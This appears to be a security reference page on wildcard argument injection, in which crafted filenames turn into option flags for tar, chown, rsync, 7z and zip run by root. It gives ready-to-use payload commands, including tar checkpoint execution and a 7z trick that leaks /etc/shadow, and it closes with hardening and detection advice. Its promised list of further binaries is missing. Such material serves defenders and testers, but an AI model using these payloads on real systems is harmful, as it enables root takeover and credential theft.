Wildcards Spare Tricks

Wildcard (aka glob) argument injection happens when a privileged script runs a Unix binary such as tar, chown, rsync, zip, 7z, … with an unquoted wildcard like *.
Since the shell expands the wildcard before executing the binary, an attacker who can create files in the working directory can craft filenames that begin with - so they are interpreted as options instead of data, effectively smuggling arbitrary flags or even commands.
This page collects the most useful primitives, recent research and modern detections for 2023-2025.

chown / chmod

You can copy the owner/group or the permission bits of an arbitrary file by abusing the --reference flag:

# attacker-controlled directory
touch "--reference=/root/secret``file"   # ← filename becomes an argument

When root later executes something like:

chown -R alice:alice *.php
chmod -R 644 *.php

--reference=/root/secret``file is injected, causing all matching files to inherit the ownership/permissions of /root/secret``file.

PoC & tool: wildpwn (combined attack).
See also the classic DefenseCode paper for details.

tar

GNU tar (Linux, *BSD, busybox-full)

Execute arbitrary commands by abusing the checkpoint feature:

# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"

Once root runs e.g. tar -czf /root/backup.tgz *, shell.sh is executed as root.

bsdtar / macOS 14+

The default tar on recent macOS (based on libarchive) does not implement --checkpoint, but you can still achieve code-execution with the --use-compress-program flag that allows you to specify an external compressor.

# macOS example
touch "--use-compress-program=/bin/sh"

When a privileged script runs tar -cf backup.tar *, /bin/sh will be started.

rsync

rsync lets you override the remote shell or even the remote binary via command-line flags that start with -e or --rsync-path:

# attacker-controlled directory
touch "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh

If root later archives the directory with rsync -az * backup:/srv/, the injected flag spawns your shell on the remote side.

PoC: wildpwn (rsync mode).

7-Zip / 7z / 7za

Even when the privileged script defensively prefixes the wildcard with -- (to stop option parsing), the 7-Zip format supports file list files by prefixing the filename with @. Combining that with a symlink lets you exfiltrate arbitrary files:

# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow   root.txt      # file we want to read
touch @root.txt                  # tells 7z to use root.txt as file list

If root executes something like:

7za a /backup/`date +%F`.7z -t7z -snl -- *

7-Zip will attempt to read root.txt (→ /etc/shadow) as a file list and will bail out, printing the contents to stderr.

zip

zip supports the flag --unzip-command that is passed verbatim to the system shell when the archive will be tested:

zip result.zip files -T --unzip-command "sh -c id"

Inject the flag via a crafted filename and wait for the privileged backup script to call zip -T (test archive) on the resulting file.

Additional binaries vulnerable to wildcard injection (2023-2025 quick list)

The following commands have been abused in modern CTFs and real environments. The payload is always created as a filename inside a writable directory that will later be processed with a wildcard:

These primitives are less common than the tar/rsync/zip classics but worth checking when hunting.

Detection & Hardening

1. Disable shell globbing in critical scripts: set -f (set -o noglob) prevents wildcard expansion.
2. Quote or escape arguments: tar -czf "$dst" -- * is not safe — prefer find . -type f -print0 | xargs -0 tar -czf "$dst".
3. Explicit paths: Use /var/www/html/*.log instead of * so attackers cannot create sibling files that start with -.
4. Least privilege: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible.
5. Monitoring: Elastic’s pre-built rule Potential Shell via Wildcard Injection looks for tar --checkpoint=*, rsync -e*, or zip --unzip-command immediately followed by a shell child process. The EQL query can be adapted for other EDRs.

References

• Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025)
• Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024)